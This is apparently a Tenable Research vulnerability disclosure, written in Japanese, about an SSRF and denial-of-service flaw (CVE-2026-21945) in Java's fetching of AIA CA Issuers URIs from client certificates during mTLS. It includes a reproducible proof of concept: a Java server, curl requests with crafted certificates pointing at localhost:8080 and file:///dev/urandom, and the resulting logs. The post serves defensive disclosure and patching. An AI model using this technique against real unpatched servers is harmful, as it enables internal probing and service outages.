Tenable、DoS 攻撃につながる可能性がある Java TLS ハンドシェイクにおける SSRF 脆弱性を発見
Tenable Research は、TLS ハンドシェイク中の Java のクライアント証明書の処理における、サーバーサイドリクエストフォージェリ (SSRF) の脆弱性を発見しました。 一部の設定では、これが悪用されるとサービス拒否 (DoS) 状態が引き起こされるおそれがあります。
キーポイント
- Tenable Research は、Java の TLS ハンドシェイクプロセスにおける脆弱性を特定しました。この脆弱性が存在すると、AIA 拡張を使用した悪意のあるクライアント証明書によって、サーバーサイドリクエストフォージェリ (SSRF) 攻撃やサービス拒否 (DoS) 攻撃が誘発されるおそれがあります。
- このエクスプロイトは、mTLS 設定のクライアント証明書が実質的にユーザー入力として機能すること、また、サーバーが悪意のある URI やリソースを枯渇させてしまう URI にアクセスするのを防ぐために、こうしたクライアント証明書を厳密に検証する必要があることを示しています。
- Oracle は 2026 年 1 月の Critical Patch Update でこの脆弱性 (CVE-2026-21945) に対処しました。これにより、mTLS と AIA fetching を使用している Java 環境では、直ちにアップデートが必要となります。
トランスポート層セキュリティ (TLS) プロトコルは、安全なインターネット通信を行うための鍵となります。 これは公開鍵インフラ (PKI: Public Key Infrastructure) と連携して、機密性と認証を提供するものです。 TLS の重要なコンポーネントのひとつが、クライアント証明書です。 TLS ハンドシェイクで使用されるクライアント証明書は、事実上ユーザーが入力するものとなるため、他のユーザー入力と同様に悪意が含まれる可能性があります。 入力の検証は、アプリケーションレベルと同様にプロトコルレベルでも重要です。
Tenable Research は、こうした背景を念頭に置いて調査を行い、TLS ハンドシェイク時の Java のクライアント証明書の処理の中で、サーバーサイドリクエストフォージェリ (SSRF) の脆弱性を発見しました。 一部の設定では、これが悪用されるとサービス拒否 (DoS) 状態が引き起こされるおそれがあります。
Oracle は、2026 年 1 月の Critical Patch Update でこの脆弱性を修正しました。
発見された脆弱性について説明する前に、まず関連する標準とプロトコルについて詳しく見ていく必要があります。
TLS、PKI、X.509 の概要
TLS は、複数のシナリオでクライアントとサーバー間のトラフィックを保護するために一般的に使用されるプロトコルであり、 ウェブサーバーやウェブブラウザでの利用で、最もよく知られています。 TLS は、古い SSL (Secure Sockets Layer) プロトコルを基盤としています。
TLS が提供するセキュリティ特性は、一連の暗号化プリミティブ (暗号プロトコル全体を実装するために組み合わされる個々のアルゴリズム) を基盤としています。 これらすべてがエンドツーエンドで機能するためには、PKI が必要です。 この記事では、PKI の証明書チェーンに注目します。
一般的な証明書チェーンは、ルート証明書、中間証明書、リーフ (すなわちエンドエンティティ) 証明書で構成されています。 チェーンには複数の中間証明書が含まれる可能性がありますが、概念レベルではさほど変わらないため、単純化するために 1 つだけと仮定します。 同様に、リーフ証明書は技術的には中間証明書なしで発行可能ですが、実際の運用においては同証明書なしでの発行は一般的ではありません。 TLS サーバーのリーフ証明書の証明書チェーンの例を以下に示します。
上記の例では、ルート認証局 (CA) が保有する証明書を用いて中間認証局 (CA) の証明書が発行され、続いてその中間 CA の証明書を用いてエンドエンティティの TLS サーバー証明書が発行されています。 ここでは説明のために単純化しており、実際には対応する秘密鍵もその過程で使用されていることにご注意ください。
前述の証明書は、多くの場合 SSL 証明書または TLS 証明書と呼ばれます。 しかし、技術的に言えば、これらは X.509 証明書になります。 これらの証明書はデジタル文書であり、証明書のサブジェクトに属する公開鍵、サブジェクトに関連する各種情報、発行元である認証局 (CA) や証明書自体に関する情報、ならびにデジタル署名を含んでいます。
TLS サーバーとの安全な通信を確立しようとする TLS クライアントは、TLS ハンドシェイクの一環としてサーバーから提示された証明書チェーンの有効性を検証します。 ハンドシェイクは、データが流れ始めるようになる前に行う必要のあるプロセスの一部です。
ハンドシェイク中、サーバーは通常、自身のリーフ証明書だけでなく中間 CA 証明書もクライアントに送信します。 その後クライアントは、リーフ証明書から信頼されたルート CA 証明書までの証明書パスを構築して検証できます。
通常、ルート CA 証明書は、ハンドシェイク中にはサーバーから送信されません。 クライアントには、関連するルート CA 証明書を含む、信頼する予定の証明書のリストが設定されていることが想定されています。 証明書のパスが、クライアントが信頼しようとしている証明書につながっていない場合、サーバーは通常信頼されず、ハンドシェイクは中止されます。
X.509 証明書を使用して HTTPS 経由でコンテンツを提供するように設定されたウェブサーバーは、TLS サーバーの一例です。 こういったサーバーに HTTPS 経由でアクセスするウェブブラウザは、TLS クライアントの一例です。
X.509 AIA の CA Issuers
TLS サーバーが、中間 CA 証明書を使用せず、自身のリーフ証明書のみを提示するよう設定されている場合はどうでしょうか。 その場合は一般的に、TLS クライアントは証明書パスを構築して検証することができず、結果として TLS サーバーとの安全な接続を確立できないことになります。
しかし、想定される結果はこれだけではありません。 クライアントに提示されるリーフ証明書には、Authority Information Access (AIA) 拡張が含まれている可能性があり、その中の CA Issuers と呼ばれる AIA フィールドに記載された情報が含まれます。 この情報は、主体 (この場合は TLS クライアント) が親 (中間 CA) の証明書を取得できる場所を示しています。
実際の X.509 証明書から得た AIA 拡張の例を以下に示します。
openssl x509 -noout -text -in letsencrypt-org.pem ...
X509v3 extensions: ...
Authority Information Access:
CA Issuers - URI:http://e8.i.lencr.org/ ...特筆すべきは、AIA 拡張には、CA Issuers だけでなく、証明書失効チェックに使用できるオンライン証明書ステータスプロトコル (Online Certificate Status Protocol) 情報も含まれている場合があることです。 ただし、この記事の目的とは関連がありません。 AIA 拡張の詳細については、RFC 5280 のセクション 4.2.2.1 を参照してください。
AIA CA Issuers をサポートする TLS クライアントが、AIA CA Issuers 情報を含むリーフ証明書のみをサーバーから受信した場合、TLS ハンドシェイクを中止する代わりに、不足している中間 CA 証明書をダウンロードして不完全なチェーンを再構築することができます。 そのようなシナリオを以下に示します。
上記のシナリオにおいて注意する点は、TLS クライアントは AIA 拡張の CA Issuers 情報によって示される場所から中間 CA 証明書を取得するまでは、TLS サーバー証明書を検証できないということです。
以下は、サーバーの認証に含まれるステップのおおまかな概要です。
- TLS クライアントが、TLS サーバーと TLS ハンドシェイクを開始します。
- TLS サーバーはリーフ証明書で応答しますが、中間 CA 証明書は含めません。 ただし、リーフ証明書には CA Issuers 情報を持つ AIA 拡張が含まれています。
- TLS クライアントは、この段階では TLS サーバー証明書を検証できないため、リーフ証明書の AIA CA Issuers が示す場所から中間 CA 証明書をダウンロードしようとします。
- ダウンロードが成功すると、TLS クライアントは証明書パスの再構築と検証を試行できます。
mTLS および AIA の CA Issuer
TLS の典型例では、TLS サーバーが TLS クライアントに対して自身を認証します。 一方で、TLS サーバーは、TLS クライアントが自身のことも認証するよう要求することができます。 これは相互 TLS (mTLS) と呼ばれるものです。mTLS は、文脈によって異なるものの、あまり一般的に導入されるオプションではありません。 ウェブブラウザを使ってアクセスするすべてのインターネットウェブサイトが、ブラウザにクライアント証明書チェーンの提示を要求するとは考えにくいでしょう。 しかし、クライアント認証は、ウェブサービス間のセキュアな通信といったその他の文脈では幅広く使用されている可能性があります。 mTLS ハンドシェイクの間に対応する証明書チェーンを送信するのは、サーバーとクライアントの両方であり、どちらも相手のリーフ証明書から信頼する証明書までの証明書パスを構築して検証します。
セキュリティの観点から見て mTLS が興味深いのは、これがクライアント認証を可能にする手段であるだけでなく、システム全体のセキュリティ特性をどう捉えるべきかという考え方そのものを変える必要がある点です。 TLS クライアントは証明書チェーンを提示できるようになり、サーバーはその証明書チェーンに基づいて動作する必要があります。 証明書チェーンは、事実上ユーザーが入力するものとなるため、他のユーザー入力と同様に悪意が含まれる可能性があります。
TLS サーバーが AIA CA Issuers をサポートしており (繰り返しますが、すべてのサーバーが AIA CA Issuers をサポートしているわけではありません)、クライアントが AIA CA Issuers 情報を含む証明書を送信し、中間 CA 証明書が存在しない場合はどうなるのでしょうか。
このような場合のクライアント認証プロセスに含まれるおおまかなステップを考えてみましょう。
- TLS クライアントが、TLS サーバーと TLS ハンドシェイクを開始します。
- TLS サーバーが、自身の証明書チェーンを使用して応答し、クライアントに証明書を要求します。
- TLS クライアントは、自身のリーフ証明書を応答として送信しますが、中間 CA 証明書は含めません。 ただし、リーフ証明書には CA Issuers 情報が含まれています。
- TLS サーバーは、この段階では TLS クライアント証明書を検証できないため、リーフ証明書の AIA CA Issuers が示す場所から中間 CA 証明書をダウンロードしようとします。
- ダウンロードが成功すると、TLS サーバーは証明書パスの再構築と検証を試行できます。
これは事実上、ロジックの一部を反転させた構成になります。 そのようなシナリオを以下に示します。
「上記のシナリオは SSRF の脆弱性につながりかねない」と考えるのは、あなただけではありません。
概念実証アプリケーション
以下は、単純な Java アプリケーションです。
public class Server { public static void main(String[] args) throws Exception { String keystore = "keystore.p12"; String truststore = "truststore.p12"; char[] keystorePass = "password".toCharArray(); char[] truststorePass = "password".toCharArray(); int port = 8444; KeyManagerFactory kmf = getKeyManagerFactory(keystore, keystorePass); TrustManagerFactory tmf = getTrustManagerFactory(truststore, truststorePass); SSLContext sslContext = getSSLContext(kmf, tmf); HttpsServer server = HttpsServer.create(new InetSocketAddress(port), 0); server.setHttpsConfigurator(new HttpsConfigurator(sslContext) { @Override public void configure(HttpsParameters params) { SSLParameters sslParams = getSSLContext().getDefaultSSLParameters(); sslParams.setNeedClientAuth(true); params.setSSLParameters(sslParams); } }); server.createContext("/", handler -> { Certificate[] peerCerts = ((HttpsExchange) handler).getSSLSession().getPeerCertificates(); X509Certificate peerLeafCert = (X509Certificate) peerCerts[0]; String peerLeafCertSubject = peerLeafCert.getSubjectX500Principal().toString(); System.out.println(peerLeafCertSubject); String resp = "response\n"; handler.sendResponseHeaders(200, resp.length()); try (OutputStream os = handler.getResponseBody()) { os.write(resp.getBytes()); } }); System.out.println("Starting server on port: " + port); new Thread(server::start).start(); } private static SSLContext getSSLContext(KeyManagerFactory kmf, TrustManagerFactory tmf) throws Exception { SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null); return sslContext; } private static KeyManagerFactory getKeyManagerFactory(String keystore, char[] password) throws Exception { KeyStore ks = KeyStore.getInstance("PKCS12"); try (FileInputStream fis = new FileInputStream(keystore)) { ks.load(fis, password); } KeyManagerFactory kmf = KeyManagerFactory.getInstance("PKIX"); kmf.init(ks, password); return kmf; } private static TrustManagerFactory getTrustManagerFactory(String truststore, char[] password) throws Exception { KeyStore ts = KeyStore.getInstance("PKCS12"); try (FileInputStream fis = new FileInputStream(truststore)) { ts.load(fis, password); } TrustManagerFactory tmf = TrustManagerFactory.getInstance("PKIX"); tmf.init(ts); return tmf; } }この Java アプリケーションは、クライアント認証を有効にした基本的な HTTPS サーバーです。 これには、PKCS12 キーストアファイルと PKCS12 トラストストアファイルが必要です。 PKCS12 は、X.509 証明書と対応する鍵を保存するために一般的に使用されるファイル形式です。 キーストアにはサーバー証明書とそれに対応する秘密鍵が格納され、トラストストアにはサーバーが信頼することが期待されるルート CA 証明書が格納されます。 簡潔にするため、アプリケーションの一部の要素は簡略化されています。 import 文と関連する pom.xml ファイルは省略されています。 アプリケーションは java-server.jar としてパッケージ化されているものと想定されています。
概念実証
この概念実証では、Java バージョン 21.0.9 を使用します。 他のバージョンも同様に脆弱である可能性がありますが、追加のバージョンについては検証していません。
では、アプリケーションを起動しましょう。 このケースでは、アプリケーションは Linux 上で実行されます。
java -Djava.security.debug=certpath -Dcom.sun.security.enableAIAcaIssuers=true -Dhttp.agent="AIA CA Issuers PoC" -jar java-server.jarLinux は、Unix 系のオペレーティングシステムです。 これは、後ほど紹介するケースに関係してきます。 使用されているパラメーター、特に AIA CA Issuers のサポートを有効にする -Dcom.sun.security.enableAIAcaIssuers=true にご注意ください。
DNS 解決は、/etc/hosts を使用して別のクライアントマシンで設定されており、サンプルアプリケーションが動作しているマシンに対して mtls-server を解決します。 このケースで TLS クライアントとして動作するのは curl です。
最初の例では、クライアントは AIA CA Issuers 情報を持たない悪意のない X.509 証明書を使用します。サーバーはこれを信頼します。
curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-key.pem --cert client-cert.pem HTTP/1.1 200 OK ...この例では、サーバーは予期した通りに応答しました。
ここでは、クライアントが以下の AIA CA Issuers 情報を持つ X.509 証明書を使用すると仮定しましょう。
openssl x509 -noout -text -in client-aia-localhost-cert.pem ...
Authority Information Access:
CA Issuers - URI:http://localhost:8080 ...リクエストを行う前に、サンプルの Java アプリケーションが動作しているのと同じホスト上の 8080 番ポートで、netcat サーバーを起動してみましょう。
nc -l 8080 -knetcat は、ネットワーク接続を扱うための、一般的なコマンドラインユーティリティです。
以下の例では、curl は、HTTP 経由でアクセスされる localhost のポート 8080 を指す AIA の CA Issuers 情報を含む、前述のクライアント証明書を送信するように設定されています。 TLS ハンドシェイク中にこの証明書を受け取る TLS サーバーにとって、localhost は、そのサーバーが稼働しているホストとして解決されます。
クライアントのリクエスト:
curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-aia-key.pem --cert client-aia-localhost-cert.pemアプリケーションのログ:
... certpath: com.sun.security.cert.timeout set to 15000 milliseconds certpath: com.sun.security.cert.readtimeout set to 15000 milliseconds certpath: CertStore URI:http://localhost:8080 certpath: Exception fetching certificates: java.net.SocketTimeoutException: Read timed out ...netcat のログ:
GET / HTTP/1.1 User-Agent: AIA CA Issuers PoC Java/21.0.9 Host: localhost:8080 Accept: */* Connection: keep-aliveこれにより、サーバーが AIA 拡張で示された CA Issuers の場所に到達したことが確認されます。 netcat が応答しなかったため、リクエストは予想通りタイムアウトしました。 netcat によって記録された User-Agent HTTP リクエストヘッダには、先のサンプルアプリケーションの起動時に -Dhttp.agent パラメーターを使って定義された文字列が含まれていることに注意してください。
これにはいくつかの潜在的な影響が考えられますが、ここでは特定のケースに焦点を当てます。
サンプルアプリケーションを再起動しましょう。今回は、クライアントが以下の AIA CA Issuers 情報を持つ別の X.509 証明書を使用するものとします。
openssl x509 -noout -text -in client-aia-random-cert.pem ...
Authority Information Access:
CA Issuers - URI:file:///dev/urandom ...このケースでは、CA Issuers には /dev/urandom を指すファイル URI が格納されています。 Unix 系システムでは、/dev/random と /dev/urandom は、乱数発生器へのアクセスを提供する特別なファイルです。 正確な実装は、オペレーティングシステムやそのバージョンによって異なる場合がありますが、これらのファイルのいずれかから読み取ると、ランダムに生成されたバイトが得られるはずです。
クライアントのリクエスト:
curl https://mtls-server:8444 -I -X GET --cacert ca-cert.pem --key client-aia-key.pem --cert client-aia-random-cert.pemアプリケーションのログ:
... certpath: com.sun.security.cert.timeout set to 15000 milliseconds certpath: com.sun.security.cert.readtimeout set to 15000 milliseconds certpath: CertStore URI:file:///dev/urandom certpath: Downloading new certificates... ...クライアントは、この段階で接続が切れる場合があります。 サーバーは稼働し続け、1 つの CPU コアをビジー状態に保ちながら、ランダムなバイト列の読み取りを試行します。
Tenable Research、2026 年 1 月
サンプルアプリケーションは、その後に送信された悪意のないリクエストには応答しません。
サンプルアプリケーションは CPU を消費し続け、後続のリクエストに対応できなくなり、結果的に DoS 状態となります。
まとめ
Tenable は、この脆弱性を 2025 年 9 月に Oracle に報告しました。 Oracle は、2026 年 1 月の Critical Patch Updates (CPU) の一環としてパッチを発行し、CVE-2026-21945 を割り当てました。 Tenable は、TRA-2026-03 としてアドバイザリを発行しています。 この脆弱性を特定するための Tenable プラグインは、リリースされ次第こちらに掲載される予定です。
もしあなたの組織で Java ベースのテクノロジースタックが運用されており、この記事で取り上げた機能が組織のデプロイメントに関連しているならば、潜在的な攻撃を防ぐために、早急にパッチ適用をご検討ください。 基本的には、サイバーハイジーンのベストプラクティスに従うことが重要です。これには、ソフトウェアのパッチをできるだけ早く適用すること、使用されていない機能を見直して無効化すること、ネットワーク上の不審なアクティビティ (通常とは異なるネットワーク接続、使用率の増加など) を監視することが含まれます。
- Exposure Management
- Vulnerability Management



